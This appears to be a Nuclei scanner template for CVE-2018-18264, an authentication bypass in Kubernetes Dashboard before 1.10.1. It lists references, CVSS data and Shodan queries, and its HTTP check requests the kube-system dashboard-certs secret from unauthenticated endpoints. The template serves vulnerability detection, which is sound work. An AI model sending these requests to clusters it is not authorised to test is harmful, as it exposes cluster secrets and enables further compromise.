id: CVE-2018-18264 info: name: Kubernetes Dashboard <1.10.1 - Authentication Bypass author: edoardottt severity: high description: | Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. impact: | An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster. remediation: | Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability. reference: - https://github.com/kubernetes/dashboard/pull/3289 - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 - https://github.com/kubernetes/dashboard/pull/3400 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-18264 cwe-id: CWE-306 epss-score: 0.95251 epss-percentile: 0.9934 cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: kubernetes product: dashboard shodan-query: - product:"Kubernetes" - product:"kubernetes" tags: cve,cve2018,kubernetes,k8s,auth-bypass http: - method: GET path: - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body, "apiVersion") && contains(body, "objectRef")' - type: status status: - 200 # digest: 490a004630440220717d039ed3d0c44efc077565f10a9d632f99a68ce59eb9727eab144859504d19022010d4bff8932d9b2acb3d4bedcc622e8d3c1d07574b96f4be8007807b4aff57bf:922c64590222798bb761d5b6d8e72950